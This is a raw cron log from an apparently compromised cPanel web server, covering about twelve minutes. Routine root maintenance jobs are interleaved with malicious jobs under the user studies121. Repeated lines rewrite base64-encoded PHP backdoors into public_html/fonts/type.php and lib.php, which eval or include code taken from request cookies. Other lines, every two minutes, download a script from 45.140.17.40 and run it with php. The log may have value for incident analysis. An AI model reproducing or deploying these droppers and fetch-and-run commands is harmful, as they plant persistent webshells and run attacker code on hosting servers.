Aug 30 06:40:01 ip-184-168-122-23 CROND[30688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:40:01 ip-184-168-122-23 CROND[30690]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:40:01 ip-184-168-122-23 CROND[30691]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 06:40:01 ip-184-168-122-23 CROND[30695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:40:01 ip-184-168-122-23 CROND[30699]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 06:40:01 ip-184-168-122-23 CROND[30700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:40:01 ip-184-168-122-23 CROND[30702]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:41:01 ip-184-168-122-23 CROND[30800]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:41:01 ip-184-168-122-23 CROND[30801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:41:01 ip-184-168-122-23 CROND[30802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:41:01 ip-184-168-122-23 CROND[30807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:42:01 ip-184-168-122-23 CROND[30885]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:42:01 ip-184-168-122-23 CROND[30888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:42:01 ip-184-168-122-23 CROND[30890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:42:01 ip-184-168-122-23 CROND[30887]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:42:01 ip-184-168-122-23 CROND[30889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:43:01 ip-184-168-122-23 CROND[31102]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:43:01 ip-184-168-122-23 CROND[31103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:43:01 ip-184-168-122-23 CROND[31105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:43:01 ip-184-168-122-23 CROND[31104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:44:01 ip-184-168-122-23 CROND[31263]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:44:01 ip-184-168-122-23 CROND[31266]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:44:01 ip-184-168-122-23 CROND[31268]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:44:01 ip-184-168-122-23 CROND[31269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:44:01 ip-184-168-122-23 CROND[31270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:45:01 ip-184-168-122-23 CROND[31407]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:45:01 ip-184-168-122-23 CROND[31409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:45:01 ip-184-168-122-23 CROND[31410]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 06:45:01 ip-184-168-122-23 CROND[31411]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 06:45:01 ip-184-168-122-23 CROND[31412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:45:01 ip-184-168-122-23 CROND[31413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:46:01 ip-184-168-122-23 CROND[31504]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 06:46:01 ip-184-168-122-23 CROND[31507]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:46:01 ip-184-168-122-23 CROND[31509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:46:01 ip-184-168-122-23 CROND[31506]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:46:01 ip-184-168-122-23 CROND[31511]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 30 06:46:01 ip-184-168-122-23 CROND[31508]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:46:01 ip-184-168-122-23 CROND[31510]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:47:01 ip-184-168-122-23 CROND[31620]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:47:01 ip-184-168-122-23 CROND[31621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:47:01 ip-184-168-122-23 CROND[31623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:47:01 ip-184-168-122-23 CROND[31622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:48:01 ip-184-168-122-23 CROND[31709]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:48:01 ip-184-168-122-23 CROND[31711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:48:01 ip-184-168-122-23 CROND[31712]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:48:01 ip-184-168-122-23 CROND[31713]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:48:01 ip-184-168-122-23 CROND[31714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:49:01 ip-184-168-122-23 CROND[31880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:49:01 ip-184-168-122-23 CROND[31881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:49:01 ip-184-168-122-23 CROND[31882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:49:01 ip-184-168-122-23 CROND[31883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:50:01 ip-184-168-122-23 CROND[31970]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 06:50:01 ip-184-168-122-23 CROND[31973]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:50:01 ip-184-168-122-23 CROND[31976]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 30 06:50:01 ip-184-168-122-23 CROND[31979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:50:01 ip-184-168-122-23 CROND[31978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:50:01 ip-184-168-122-23 CROND[31975]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:50:02 ip-184-168-122-23 CROND[31985]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 06:50:02 ip-184-168-122-23 CROND[31986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:50:02 ip-184-168-122-23 CROND[31983]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 06:51:01 ip-184-168-122-23 CROND[32066]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:51:01 ip-184-168-122-23 CROND[32067]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:51:01 ip-184-168-122-23 CROND[32068]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:51:01 ip-184-168-122-23 CROND[32070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:52:01 ip-184-168-122-23 CROND[32146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:52:02 ip-184-168-122-23 CROND[32150]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
